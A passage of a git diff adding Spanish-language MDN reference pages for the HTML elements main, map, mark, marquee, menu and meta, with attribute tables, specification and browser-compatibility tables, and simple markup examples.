+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+
+<span class="highlight">&lt;/main&gt;</span>
+
+&lt;!-- other content --&gt;</pre>
+
+<h2 id="Specifications" name="Specifications">Sobre Accesibilidad</h2>
+
+<p>Algunos lectores de pantalla reconocen la etiqueta <code>main</code> y proveen un atajo para que el usuario pueda saltar directamente al contenido de esta etiqueta sin tener que pasar por el resto.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Eliminada la restricción acerca de usar  <code>&lt;main&gt;</code> como un descendente del elemento {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, o {{HTMLElement("nav")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Sin cambios desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad entre navegadores</h2>
+
+<p>Como una caracterisca nueva propuesta para HTML, el elemento <code>&lt;main&gt;</code> no está todavía ampliamente soportado. Es sumamente recomendable añadir el rol ARIA <code>"main"</code> a cualquier elemento <code>&lt;main&gt;</code>:</p>
+
+<pre class="brush: html">&lt;main role="main"&gt;
+  ...
+&lt;/main&gt;
+</pre>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>
+    <p>Característica</p>
+   </th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>Chrome 26</td>
+   <td>{{ CompatGeckoDesktop("21.0") }}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}} but in tests builds since WebKit r140374</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{ CompatGeckoMobile("21.0") }}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Basic structural elements: {{HTMLElement("html")}}, {{HTMLElement("head")}}, {{HTMLElement("body")}}</li>
+ <li>Section-related elements: {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, or {{HTMLElement("nav")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/map/index.html b/files/es/web/html/elemento/map/index.html
new file mode 100644
index 0000000000..1a87193ffc
--- /dev/null
+++ b/files/es/web/html/elemento/map/index.html
@@ -0,0 +1,133 @@
+---
+title: map
+slug: Web/HTML/Elemento/map
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/map
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><span class="comment">descripción de uno o dos párrafos</span></p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;map&gt; y &lt;/map&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque"> En bloque </a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#especial"> Elemento especial</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Uno o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque </a>, o elementos <a href="es/HTML/Elemento/area">area</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">Valor</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title </code></td>
+   <td>Texto</td>
+   <td>Implícito</td>
+   <td>Título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style </code></td>
+   <td>Declaraciones de estilo</td>
+   <td>Implícito</td>
+   <td>Información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id </code></td>
+   <td>Un 'nombre'</td>
+   <td>Implícito</td>
+   <td>Identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class </code></td>
+   <td>Lista de clases CSS</td>
+   <td>implícito</td>
+   <td>Identificador a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir </code></td>
+   <td>Uno de los siguientes: "ltr" o "rtl"</td>
+   <td>Implícito</td>
+   <td>Dirección del texto.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang </code></td>
+   <td>Código de idioma</td>
+   <td>Implícito</td>
+   <td>Información sobre el idioma.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">name </code></td>
+   <td>Un 'nombre'</td>
+   <td>Necesario</td>
+   <td>Sirve de referencia al atributo usemap</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">Valor</th>
+   <th>Descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">  &lt;&gt;
+
+
+
+  &lt;/&gt;
+</pre>
+
+<p> </p>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#edef-MAP"><strong>map</strong> en la especificación</a> de html 4.01.</li>
+</ul>
+
+<p><span class="comment">secciones futuras: == Soporte de los navegadores == == Valores por defecto y visualización en Firefox ==</span></p>
+
+<div class="note">
+<p>Este documento está siendo editado, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en la elaboración de este documento? Para saber como hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p> </p>
diff --git a/files/es/web/html/elemento/mark/index.html b/files/es/web/html/elemento/mark/index.html
new file mode 100644
index 0000000000..38ed980e3a
--- /dev/null
+++ b/files/es/web/html/elemento/mark/index.html
@@ -0,0 +1,142 @@
+---
+title: '<mark>: el elemento de resaltado de texto'
+slug: Web/HTML/Elemento/mark
+tags:
+  - HTML
+  - HTML5
+  - 'HTML:Elemento'
+  - mark
+  - para_revisar
+translation_of: Web/HTML/Element/mark
+---
+<div>{{HTMLRef}}</div>
+
+<p>El <strong> Elemento HTML Mark <code>&lt;mark&gt;</code></strong> representa un texto <strong>marcado</strong> o <strong>resaltado</strong> como referencia o anotación, debido a su relevancia o importancia en un contexto particular.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/mark.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Categorías de contenido</th>
+   <td>Contenido de flujo,  contenido de párrafo,  contenido palpable</td>
+  </tr>
+  <tr>
+   <th>Contenido permitido</th>
+   <td><a href="/en/Dom/Content_categories#Phrasing_content" title="en/Dom/Content categories#Phrasing content">Contenido estático</a></td>
+  </tr>
+  <tr>
+   <th>Omisión de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th>Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/en/Dom/Content_categories#Phrasing_content" title="en/Dom/Content categories#Phrasing content">contenido estático</a></td>
+  </tr>
+  <tr>
+   <th>Roles ARIA permitidos</th>
+   <td>Cualquiera</td>
+  </tr>
+  <tr>
+   <th>Documento normativo</th>
+   <td><a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fwww.whatwg.org%2Fspecs%2Fweb-apps%2Fcurrent-work%2Fmultipage%2Ftext-level-semantics.html%23the-mark-element&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNFWrrJ-Y17m5GxNva7WqE-i6zuWcA" rel="external nofollow">HTML 5, sección 4.6.17</a></td>
+  </tr>
+  <tr>
+   <th>DOM interface</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento no tiene atributos que no sean los <a class="new " href="https://developer.mozilla.org/es/docs/Web/HTML/Atributos_Globales" rel="internal">atributos globales</a>, comunes a todos los elementos.</p>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<ul>
+ <li>En una cita ({{HTMLElement("q")}})  o en otro bloque ({{HTMLElement("blockquote")}}), generalmente indica texto que es de especial interés pero que no está destacado en el material de origen, o material que necesita especial escrutinio, aunque el autor original no lo considerase importante.</li>
+ <li>Por otro lado, <code>&lt;mark&gt;</code> indica una parte del contenido del documento que probablemente sea relevante para el usuario. Por ejemplo, se puede utilizar en una página que muestra los resultados de búsqueda para resaltar cada uno de estos por palabra.</li>
+ <li>No uses el elemento <code>&lt;mark&gt;</code> para resaltado de sintaxis; usa el elemento {{ HTMLElement("span") }}  para este fin.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>No se debe confundir el elemento <code><span style="font-family: Courier New;">&lt;mark&gt;</span></code> con el elemento {{ HTMLElement("strong") }}. El elemento {{ HTMLElement("strong") }} se utiliza para denotar intervalos de texto de especial <em>importancia,</em> mientras que el elemento <code>&lt;mark&gt;</code> se utiliza para denotar intervalos de texto de especial <em>relevancia.</em></p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Marcar_texto_de_interés">Marcar texto de interés</h3>
+
+<p>En este ejemplo, &lt;mark&gt; se utiliza para resaltar texto en una cita que es de particular insterés para el usuario.</p>
+
+<pre class="brush: html">&lt;blockquote&gt;
+  It is a period of civil war. Rebel spaceships, striking from a
+  hidden base, have won their first victory against the evil
+  Galactic Empire. During the battle, &lt;mark&gt;Rebel spies managed
+  to steal secret plans&lt;/mark&gt; to the Empire’s ultimate weapon,
+  the DEATH STAR, an armored space station with enough power to
+  destroy an entire planet.
+&lt;/blockquote&gt;</pre>
+
+<p>El resultado sería:</p>
+
+<p>{{EmbedLiveSample("Marking_text_of_interest", 650, 130)}}</p>
+
+<h3 id="Identificando_fragmentos_sensibles_al_contexto">Identificando fragmentos sensibles al contexto</h3>
+
+<p>Este ejemplo demuestra el uso de <code>&lt;mark&gt;</code> para marcar resultados de búsqueda en el fragmento.</p>
+
+<pre class="brush: html">&lt;p&gt;It is a dark time for the Rebellion. Although the Death
+Star has been destroyed, &lt;mark class="match"&gt;Imperial&lt;/mark&gt;
+troops have driven the Rebel forces from their hidden base and
+pursued them across the galaxy.&lt;/p&gt;
+
+&lt;p&gt;Evading the dreaded &lt;mark class="match"&gt;Imperial&lt;/mark&gt;
+Starfleet, a group of freedom fighters led by Luke Skywalker
+has established a new secret base on the remote ice world of
+Hoth.&lt;/p&gt;</pre>
+
+<p>Para ayudar a distinguir el uso de <code>&lt;mark&gt;</code> en los resultados de búsqueda de otro uso potencial, este ejemplo aplica la clase "match" a cada coincidencia.</p>
+
+<p>El resultado se vería:</p>
+
+<p>{{EmbedLiveSample("Identifying_context-sensitive_passages", 650, 130)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-mark-element', '&lt;mark&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-mark-element', '&lt;mark&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+
+
+<p>{{Compat("html.elements.mark")}}</p>
+
+<h2 id="Consulta_también">Consulta también</h2>
+
+<ul>
+ <li>Otros <a href="/en/HTML/Text-level_semantics_elements" title="en/HTML/Text-level semantics elements">elementos de la semántica a nivel de texto</a> : {{ HTMLElement("a") }}, {{ HTMLElement("em") }}, {{ HTMLElement("strong") }}, {{ HTMLElement("cite") }}  , {{ HTMLElement("q") }} , {{ HTMLElement("dfn") }}, {{ HTMLElement("abbr") }}, {{ HTMLElement("time") }} , {{ HTMLElement("code") }} ,{{ HTMLElement("var") }}, {{ HTMLElement("samp") }} ,{{ HTMLElement("kbd") }} ,{{ HTMLElement("sub") }} , {{ HTMLElement("sup") }} ,{{ HTMLElement("i") }} , {{ HTMLElement("b") }}, {{ HTMLElement("mark") }} , {{ HTMLElement("ruby") }} , {{ HTMLElement("rp") }} , {{ HTMLElement("rt") }} , {{ HTMLElement("bdo") }}, {{ HTMLElement("span") }} , {{ HTMLElement("br") }} , {{ HTMLElement("wbr") }}.</li>
+</ul>
diff --git a/files/es/web/html/elemento/marquee/index.html b/files/es/web/html/elemento/marquee/index.html
new file mode 100644
index 0000000000..5eeeec12bf
--- /dev/null
+++ b/files/es/web/html/elemento/marquee/index.html
@@ -0,0 +1,207 @@
+---
+title: <marquee>
+slug: Web/HTML/Elemento/marquee
+tags:
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+  - etiqueta
+  - marquee
+  - marquesina
+  - obsoleta
+translation_of: Web/HTML/Element/marquee
+---
+<div>{{HTMLRef}}</div>
+
+<div>{{obsolete_header}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La etiqueta html <code>&lt;marquee&gt;</code> se utiliza para insertar un area de texto en movimiento. También se la conoce como marquesina.</p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<dl>
+ <dt>{{htmlattrdef("behavior")}}</dt>
+ <dd>Establece cómo se desplazará el texto en la etiqueta marquee. Los valores posibles son scroll, slide, y alternate. Si no hay un valor especificado, el valor por defecto establecido es scroll.</dd>
+ <dd>Scroll: Hara que lo que este en la marquesina se mueva de derecha a izquierda, de manera ininterrumpida.<br>
+ Slide: Una vez que completa el recorrido de derecha a izquierda(por defecto) se detiene.<br>
+ Alternate: Se movera de una esquina a la otra, dando el efecto de rebote.</dd>
+ <dt>{{htmlattrdef("bgcolor")}}</dt>
+ <dd>Establece el color de fondo, puede utilizarse el nombre, o su  valor hexadecimal.</dd>
+ <dt>{{htmlattrdef("direction")}}</dt>
+ <dd>Establece la dirección en la que el texto contenido se desplazará. Los valores posibles son left (para moverse hacia la izquierda), right (para moverse a la derecha), up (hacia arriba) y down (hacia abajo). Si no se especifica un valor, por defecto será left.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Establece la altura de la etiqueta en pixeles, o en un valor porcentual.</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>Establece el margen horizontal.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Establece el número de veces que la marquesina realizará el desplazamiento. Sino se especifica esta propiedad, por defecto es -1, lo que quiere decir que la marquesina se desplazará continuamente.</dd>
+ <dt>{{htmlattrdef("scrollamount")}}</dt>
+ <dd>Establece el valor de movimiento para cada intervalo en pixeles. Por defecto su valor es 6.</dd>
+ <dt>{{htmlattrdef("scrolldelay")}}</dt>
+ <dd>Establece el intervalo entre cada desplazamiento, en milisegundos. El valor por defecto es 85. Nota: Cualquier valor inferior a 60 será ignorado, (puesto que el valor minimo es 60) y se establecerá 60 en su lugar. Salvo que se especifique<code> truespeed.</code></dd>
+ <dt>{{htmlattrdef("truespeed")}}</dt>
+ <dd>Por defecto, si los valores de <code>scrolldelay son inferiores a 60 serán ignorados. Pero si truespeed está presente, esos valores inferiores a 60 serán aceptados.</code></dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>Establece el margen vertical en pixeles o en un valor porcentual.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Establece el ancho de la etiqueta en pixeles o un valor porcentual.</dd>
+</dl>
+
+<h2 id="Event_handlers" name="Event_handlers">Controladores de eventos</h2>
+
+<dl>
+ <dt>{{htmlattrdef("onbounce")}}</dt>
+ <dd>Este evento se lanza cuando la marquesina llegó al final del desplazamiento. Ésto solo se activa cuando el atributo <code>behavior </code>está establecido en <code>alternate</code>.</dd>
+ <dt>{{htmlattrdef("onfinish")}}</dt>
+ <dd>Este evento se lanza cuando la marquesina repitió el desplazamiento la cantidad de veces establecidas en el atributo <code>loop</code>. El evento se lanza solo si el atributo <code>loop</code> tiene un valor mayor a 0.</dd>
+ <dt>{{htmlattrdef("onstart")}}</dt>
+ <dd>Este evento se lanza cuando la marquesina comienza su desplazamiento.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Métodos</h2>
+
+<dl>
+ <dt>start</dt>
+ <dd>Comienza el desplazamiento de la marquesina.</dd>
+ <dt>stop</dt>
+ <dd>Para el desplazamiento de la marquesina</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;marquee&gt;Este texto se mueve de derecha a izquierda&lt;/marquee&gt;
+
+&lt;marquee direction="up"&gt;Este texto se mueve de abajo hacia arriba&lt;/marquee&gt;
+
+&lt;marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"&gt;
+  &lt;marquee behavior="alternate"&gt;
+    Este texto rebotará dentro de la marquesina.
+  &lt;/marquee&gt;
+&lt;/marquee&gt;</pre>
+
+<p>{{EmbedLiveSample("Examples", 600, 450)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'obsolete.html#the-marquee-element-2', '&lt;marquee&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Marcada como obsoleta en favor de CSS. Comportamiento esperado definido por razones de retrocompatibilidad.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'obsolete.html#the-marquee-element-0', '&lt;marquee&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Marcada como obsoleta en favor de CSS. Comportamiento esperado definido por razones de retrocompatibilidad.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_compatibles">Navegadores compatibles</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>2.0</td>
+   <td>7.2</td>
+   <td>1.2</td>
+  </tr>
+  <tr>
+   <td><code>atributo truespeed</code> </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>4.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>atributos hspace/vspace</code> </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>atributo loop</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Atributo truespeed</code> </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Atributo hspace/vspace</code> </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Atributo loop</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/html/elemento/menu/index.html b/files/es/web/html/elemento/menu/index.html
new file mode 100644
index 0000000000..887e230f1b
--- /dev/null
+++ b/files/es/web/html/elemento/menu/index.html
@@ -0,0 +1,130 @@
+---
+title: menu
+slug: Web/HTML/Elemento/menu
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/menu
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <code style="color: darkblue;">menu</code> (directorio) es un elemento desaprobado. En su origen fue pensado para crear menús, en la actualidad es inutil.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;menu&gt; y &lt;/menu&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#desaprobado">Elemento DESAPROBADO</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: uno o más elementos <a href="es/HTML/Elemento/li">li</a></dd>
+ <dd><strong>NO puede contener</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">Elementos en bloque</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genericos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento, lista de clases separadas por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">de transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">compact</code></td>
+   <td>compact</td>
+   <td>implícito</td>
+   <td>espacio entre objetos reducido</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>El siguiente código:</p>
+
+<pre class="eval"> &lt;menu&gt;
+  &lt;li&gt;primer elemento &lt;/li&gt;
+  &lt;li&gt;segundo elemento &lt;/li&gt;
+  &lt;li&gt;tercer elemento &lt;/li&gt;
+ &lt;/menu&gt;
+</pre>
+
+<div class="highlight">
+<p>Se visualiza así:</p>
+
+<ul>
+ <li>primer elemento</li>
+ <li>segundo elemento</li>
+ <li>tercer elemento</li>
+</ul>
+</div>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p>En el navegador se visualiza (o deberia) igual que una lista desordenada (<a href="es/HTML/Elemento/ul">ul</a>)</p>
diff --git a/files/es/web/html/elemento/meta/index.html b/files/es/web/html/elemento/meta/index.html
new file mode 100644
index 0000000000..c2fa5ce5a5
--- /dev/null
+++ b/files/es/web/html/elemento/meta/index.html
@@ -0,0 +1,134 @@
+---
+title: meta
+slug: Web/HTML/Elemento/meta
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/meta
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>meta</strong> de "metainformation" - metainformación. Sirve para aportar información sobre el documento..</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;meta&gt;</code> (solo tiene una).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#de_cabecera">de cabecera</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: No.</dd>
+ <dd><strong>Puede contener</strong>: Nada.</dd>
+ <dd><strong>Puede ser contenido por</strong>: Elementos <a href="es/HTML/Elemento/head">head</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<p><del>Por defecto</del>: Debe indicarlo el autor.</p>
+
+<p><span class="comment">name = name {{ mediawiki.external('CS') }} Este atributo identifica un nombre de propiedad. Esta especificación no enumera los valores legales para este atributo. content = cdata {{ mediawiki.external('CS') }} Este atributo especifica el valor de una propiedad. Esta especificación no enumera los valores legales para este atributo. scheme = cdata {{ mediawiki.external('CS') }} Este atributo especifica un esquema que se usará para interpretar el valor de la propiedad (véase la sección sobre perfiles para más detalles). http-equiv = name {{ mediawiki.external('CI') }} Este atributo puede utilizarse en lugar del atributo name. Los servidores HTTP utilizan este atributo para obtener información sobre los encabezados del mensaje de respuesta HTTP.</span></p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
